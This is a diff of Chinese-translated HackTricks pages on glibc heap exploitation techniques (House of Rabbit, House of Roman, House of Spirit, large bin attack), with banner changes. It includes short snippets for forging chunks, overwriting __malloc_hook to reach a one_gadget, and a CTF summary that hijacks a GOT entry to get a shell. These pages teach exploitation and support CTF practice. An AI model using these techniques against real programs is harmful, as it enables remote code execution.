||||
|
@ -26,11 +27,11 @@
|
|||
|
||||
## 攻击步骤
|
||||
|
||||
### POC 1:修改快速分配块的大小
|
||||
### POC 1:修改快速分配区块的大小
|
||||
|
||||
**目标**:通过操纵快速分配块的大小来创建重叠块。
|
||||
**目标**:通过操纵快速分配区块的大小来创建一个重叠的块。
|
||||
|
||||
* **步骤1:分配块**
|
||||
* **步骤 1:分配块**
|
||||
```cpp
|
||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
||||
|
@ -80,16 +81,16 @@ free(chunk1); // Frees the chunk at 0x602000
|
|||
```cpp
|
||||
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
||||
```
|
||||
**解释**:我们将`chunk1`的前向指针(`fd`)更改为指向`chunk2`内部的我们伪造的块。
|
||||
**解释**:我们将`chunk1`的前向指针(`fd`)更改为指向`chunk2`内部的假块。
|
||||
|
||||
- **步骤 5:触发`malloc_consolidate`**
|
||||
- **步骤 5: 触发 `malloc_consolidate`**
|
||||
```cpp
|
||||
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
||||
```
|
||||
分配一个大块内存会再次触发 `malloc_consolidate`,这将处理伪造的块。
|
||||
重新分配一个大块会触发 `malloc_consolidate`,这将处理伪造的块。
|
||||
|
||||
伪造的块会成为快速分配链表的一部分,使其成为进一步利用的合法块。
|
||||
伪造的块成为快速分配链表的一部分,使其成为进一步利用的合法块。
|
||||
|
||||
### 摘要
|
||||
|
||||
**House of Rabbit** 技术涉及修改快速分配链表块的大小以创建重叠块,或者操纵 `fd` 指针以创建伪造块。这使攻击者能够在堆中伪造合法块,从而实现各种形式的利用。理解并实践这些步骤将增强您的堆利用技能。
|
||||
**兔子之屋** 技术涉及修改快速分配链表块的大小以创建重叠块,或者操纵 `fd` 指针以创建伪造块。这使攻击者能够在堆中伪造合法块,从而实现各种形式的利用。理解并实践这些步骤将增强您的堆利用技能。
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Roman之家
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
这是一种非常有趣的技术,通过伪造fastbins、unsorted_bin攻击和相对覆写实现RCE而无需泄漏。然而,这已经被[**修补**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
|
||||
这是一种非常有趣的技术,通过伪造的fastbins、unsorted_bin攻击和相对覆写实现RCE而不泄漏信息。然而,这已经被[**修复**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
|
||||
|
||||
### 代码
|
||||
|
||||
|
@ -29,7 +30,7 @@
|
|||
### 要求
|
||||
|
||||
* 编辑fastbin和unsorted bin指针
|
||||
* 必须暴力破解12位随机数(成功几率为0.02%)
|
||||
* 必须暴力破解12位随机数(0.02%的成功几率)
|
||||
|
||||
## 攻击步骤
|
||||
|
||||
|
@ -69,17 +70,17 @@ unsorted: leftover_main
|
|||
|
||||
然后,`main_arena + 0x68`并不那么有趣,所以让我们修改它,使指针指向**`__malloc_hook`**。
|
||||
|
||||
请注意,`__memalign_hook`通常以`0x7f`开头,然后是零,因此可以将其伪装成`0x70`快速分配块中的一个值。由于地址的最后4位是**随机**的,因此有`2^4=16`种可能性,使得值最终指向我们感兴趣的位置。因此,在这里执行BF攻击,使得块最终如下:**`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`。**
|
||||
请注意,`__memalign_hook`通常以`0x7f`开头,然后是零,因此可以将其伪装成`0x70`快速分配块中的一个值。由于地址的最后4位是**随机**的,有`2^4=16`种可能性,使得值最终指向我们感兴趣的位置。因此,在这里执行BF攻击,使得块最终如下:**`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`。**
|
||||
|
||||
(有关其余字节的更多信息,请查看[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)中的解释[示例](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)。如果BF攻击不起作用,程序将崩溃(因此请重试直到成功)。
|
||||
(有关其余字节的更多信息,请查看[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)中的解释。如果BF攻击不起作用,程序将崩溃(因此请重新开始直到成功)。
|
||||
|
||||
然后,执行2次malloc以移除前两个快速分配块,并分配第三个以获得一个位于**`__malloc_hook:`**的块。
|
||||
然后,执行2次malloc以移除前两个初始快速分配块,然后分配第三个以获得一个位于**`__malloc_hook:`**的块。
|
||||
```c
|
||||
malloc(0x60);
|
||||
malloc(0x60);
|
||||
uint8_t* malloc_hook_chunk = malloc(0x60);
|
||||
```
|
||||
### 第二部分:Unsorted\_bin 攻击
|
||||
### 第2部分:未排序块攻击
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
|
@ -87,9 +88,9 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
|
|||
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
但基本上它允许通过在 `chunk->bk` 中指定的位置写入 `main_arena + 0x68` 到任何位置。对于攻击,我们选择 `__malloc_hook`。然后,在覆盖它之后,我们将使用相对覆盖来指向一个 `one_gadget`。
|
||||
但基本上它允许通过在`chunk->bk`中指定的位置写入`main_arena + 0x68`。对于攻击,我们选择`__malloc_hook`。然后,在覆盖它之后,我们将使用相对覆盖来指向一个`one_gadget`。
|
||||
|
||||
为此,我们开始获取一个块并将其放入**未排序的 bin**中:
|
||||
为此,我们开始获取一个块并将其放入**未排序块**中:
|
||||
```c
|
||||
uint8_t* unsorted_bin_ptr = malloc(0x80);
|
||||
malloc(0x30); // Don't want to consolidate
|
||||
|
@ -98,23 +99,23 @@ puts("Put chunk into unsorted_bin\n");
|
|||
// Free the chunk to create the UAF
|
||||
free(unsorted_bin_ptr);
|
||||
```
|
||||
利用这个 UAF 漏洞,将 `unsorted_bin_ptr->bk` 指向 `__malloc_hook` 的地址(我们之前进行了暴力破解)。
|
||||
利用此块中的UAF指向`unsorted_bin_ptr->bk`到`__malloc_hook`的地址(我们之前进行了暴力破解)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,此攻击会破坏未排序的 bin(因此也会影响到 small 和 large)。因此,我们现在只能**使用来自 fast bin 的分配**(更复杂的程序可能会进行其他分配并导致崩溃),为了触发此攻击,我们必须**分配相同大小的内存,否则程序会崩溃。**
|
||||
请注意,此攻击会破坏未排序的 bin(因此也会影响 small 和 large)。因此,我们现在只能**使用来自 fast bin 的分配**(更复杂的程序可能会进行其他分配并崩溃),要触发此操作,我们必须**分配相同大小,否则程序会崩溃**。
|
||||
{% endhint %}
|
||||
|
||||
因此,要触发对 `__malloc_hook` 中 `main_arena + 0x68` 的写入,我们只需执行:**`malloc(0x80)`**
|
||||
因此,要触发在 `__malloc_hook` 中执行 `main_arena + 0x68` 的写入,我们在将 `__malloc_hook` 设置为 `unsorted_bin_ptr->bk` 后,只需要执行:**`malloc(0x80)`**
|
||||
|
||||
### 步骤 3:将 \_\_malloc\_hook 设置为 system
|
||||
|
||||
在第一步中,我们成功控制了一个包含 `__malloc_hook` 的块(在变量 `malloc_hook_chunk` 中),在第二步中,我们成功将 `main_arena + 0x68` 写入其中。
|
||||
在第一步中,我们控制了一个包含 `__malloc_hook` 的块(在变量 `malloc_hook_chunk` 中),在第二步中,我们成功将 `main_arena + 0x68` 写入其中。
|
||||
|
||||
现在,我们利用 `malloc_hook_chunk` 中的部分覆写,使用我们在那里写入的 libc 地址(`main_arena + 0x68`)来**指向一个 `one_gadget` 地址**。
|
||||
现在,我们利用 `malloc_hook_chunk` 中的部分覆盖,使用我们在那里写入的 libc 地址(`main_arena + 0x68`)来**指向一个 `one_gadget` 地址**。
|
||||
|
||||
这就是需要**暴力破解 12 位随机性**的地方(更多信息请参考 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) 的[示例](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c))。
|
||||
这就是需要**暴力破解 12 位随机性**(更多信息请参考 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) 的[示例](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c))。
|
||||
|
||||
最后,一旦正确的地址被覆写,**调用 `malloc` 并触发 `one_gadget`**。
|
||||
最后,一旦正确的地址被覆盖,**调用 `malloc` 并触发 `one_gadget`**。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -122,16 +123,17 @@ free(unsorted_bin_ptr);
|
|||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# House of Spirit
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
|
@ -73,14 +74,14 @@ return 0;
|
|||
|
||||
### 要求
|
||||
|
||||
* 这种攻击需要攻击者能够创建几个伪造的 fast chunks,并正确指示其大小值,然后能够释放第一个伪造的 chunk 以便将其放入 bin 中。
|
||||
* 此攻击需要攻击者能够创建几个伪造的 fast chunks,并正确指示其大小值,然后能够释放第一个伪造的 chunk 以便将其放入 bin 中。
|
||||
|
||||
### 攻击
|
||||
|
||||
* 创建绕过安全检查的伪造 chunk:基本上需要 2 个伪造的 chunk,在正确的位置指示正确的大小值
|
||||
* 创建绕过安全检查的伪造 chunk:基本上需要 2 个伪造的 chunk,在正确的位置指示正确的大小
|
||||
* 以某种方式释放第一个伪造的 chunk,使其进入 fast 或 tcache bin,然后将其分配以覆盖该地址
|
||||
|
||||
**来自** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **的代码非常适合理解这种攻击。** 尽管代码中的这个图表总结得相当不错:
|
||||
**来自** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **的代码非常适合理解这种攻击。** 尽管代码中的此图表总结得非常好:
|
||||
```c
|
||||
/*
|
||||
this will be the structure of our two fake chunks:
|
||||
|
@ -112,7 +113,7 @@ the important thing is the size values of the heap headers for our fake chunks
|
|||
|
||||
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
|
||||
* **Libc信息泄漏**:通过溢出,可以更改指针指向GOT地址,以便通过CTF的读取操作泄漏libc地址
|
||||
* **House of Spirit**:滥用计数器,计算“步枪”的数量,可以生成第一个假块的假大小,然后滥用“消息”,可以伪造块的第二个大小,最后滥用溢出,可以更改将被释放的指针,使我们的第一个假块被释放。然后,我们可以分配它,并且其中将包含“消息”存储的地址。然后,可以使其指向GOT表中的`scanf`入口,以便我们可以用system的地址覆盖它。\
|
||||
* **House of Spirit**:滥用计数器,计算“步枪”的数量,可以生成第一个假块的假大小,然后滥用“消息”,可以伪造块的第二个大小,最后滥用溢出,可以更改将要被释放的指针,使我们的第一个假块被释放。然后,我们可以分配它,并且其中将包含“消息”存储的地址。然后,可以使其指向GOT表中的`scanf`入口,这样我们可以用system的地址覆盖它。\
|
||||
下次调用`scanf`时,我们可以发送输入`"/bin/sh"`并获得一个shell。
|
||||
|
||||
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
|
||||
|
@ -123,16 +124,17 @@ the important thing is the size values of the heap headers for our fake chunks
|
|||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,47 +1,48 @@
|
|||
# 大型 Bin 攻击
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
有关什么是大型 Bin 的更多信息,请查看此页面:
|
||||
有关什么是大型 Bin,请查看此页面:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
您可以在 [**how2heap - 大型 Bin 攻击**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c) 中找到一个很好的示例。
|
||||
可以在[**how2heap - 大型 Bin 攻击**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c)中找到一个很好的示例。
|
||||
|
||||
基本上,您可以看到在最新的 glibc(2.35)版本中,没有检查:**`P->bk_nextsize`**,允许在满足某些条件的情况下修改任意地址的值。
|
||||
基本上,您可以看到在最新的 glibc(2.35)版本中,未检查:**`P->bk_nextsize`**,允许在满足某些条件的情况下修改任意地址的值为大型 Bin 块。
|
||||
|
||||
在该示例中,您可以找到以下条件:
|
||||
|
||||
- 分配了一个大块
|
||||
- 分配了一个比第一个大块小但在相同索引中的大块
|
||||
- 必须更小,因此在 bin 中必须首先进入
|
||||
- (创建一个块以防止与顶部块合并)
|
||||
- 然后,释放第一个大块并分配一个比它更大的新块 -> Chunk1 进入大型 bin
|
||||
- 然后,释放第二个大块
|
||||
- 现在,漏洞:攻击者可以修改 `chunk1->bk_nextsize` 为 `[target-0x20]`
|
||||
- 然后,分配比块 2 更大的块,因此块 2 被插入大型 bin,覆盖地址 `chunk1->bk_nextsize->fd_nextsize` 为块 2 的地址
|
||||
* 分配了一个大块
|
||||
* 分配了一个比第一个小但在相同索引中的大块
|
||||
* 必须更小,因此在 Bin 中必须首先进入
|
||||
* (创建一个块以防止与顶部块合并)
|
||||
* 然后,释放第一个大块并分配一个比它更大的新块 -> Chunk1 进入大型 Bin
|
||||
* 然后,释放第二个大块
|
||||
* 现在,漏洞:攻击者可以修改 `chunk1->bk_nextsize` 为 `[target-0x20]`
|
||||
* 然后,分配比块 2 更大的块,因此块 2 被插入大型 Bin,覆盖地址 `chunk1->bk_nextsize->fd_nextsize` 为块 2 的地址
|
||||
|
||||
{% hint style="success" %}
|
||||
还有其他潜在的情景,关键是向大型 bin 添加一个比当前 X 块**更小**的块,因此它需要在 bin 中的 X 块之前插入,并且我们需要能够修改 X 的 **`bk_nextsize`**,因为这是较小块的地址将被写入的位置。
|
||||
还有其他潜在情景,关键是向大型 Bin 添加一个比当前 Bin 中的 X 块**更小**的块,因此需要将其插入到 Bin 中的 X 块之前,并且我们需要能够修改 X 的 **`bk_nextsize`**,因为这是较小块的地址将被写入的位置。
|
||||
{% endhint %}
|
||||
|
||||
这是来自 malloc 的相关代码。已添加注释以更好地理解地址是如何被覆盖的:
|
||||
这是来自 malloc 的相关代码。已添加注释以更好地理解地址是如何被覆写的:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```c
|
||||
|
@ -59,27 +60,28 @@ fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
这可以用来**覆盖libc的`global_max_fast`全局变量**,然后利用更大的块来进行快速bin攻击。
|
||||
这可以用来**覆盖libc的`global_max_fast`全局变量**,然后利用更大的块进行快速bin攻击。
|
||||
|
||||
您可以在[guyinatuxedo](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)中找到关于这种攻击的另一个很好的解释。
|
||||
|
||||
### 其他示例
|
||||
|
||||
* [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
||||
* 在[**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)中出现的相同情况下的大块攻击。
|
||||
* 在与[**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)中出现的相同情况下的大块攻击。
|
||||
* 写入原语更复杂,因为在这里`global_max_fast`是无用的。
|
||||
* 需要FSOP来完成利用。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Off by one overflow
|
||||
|
||||
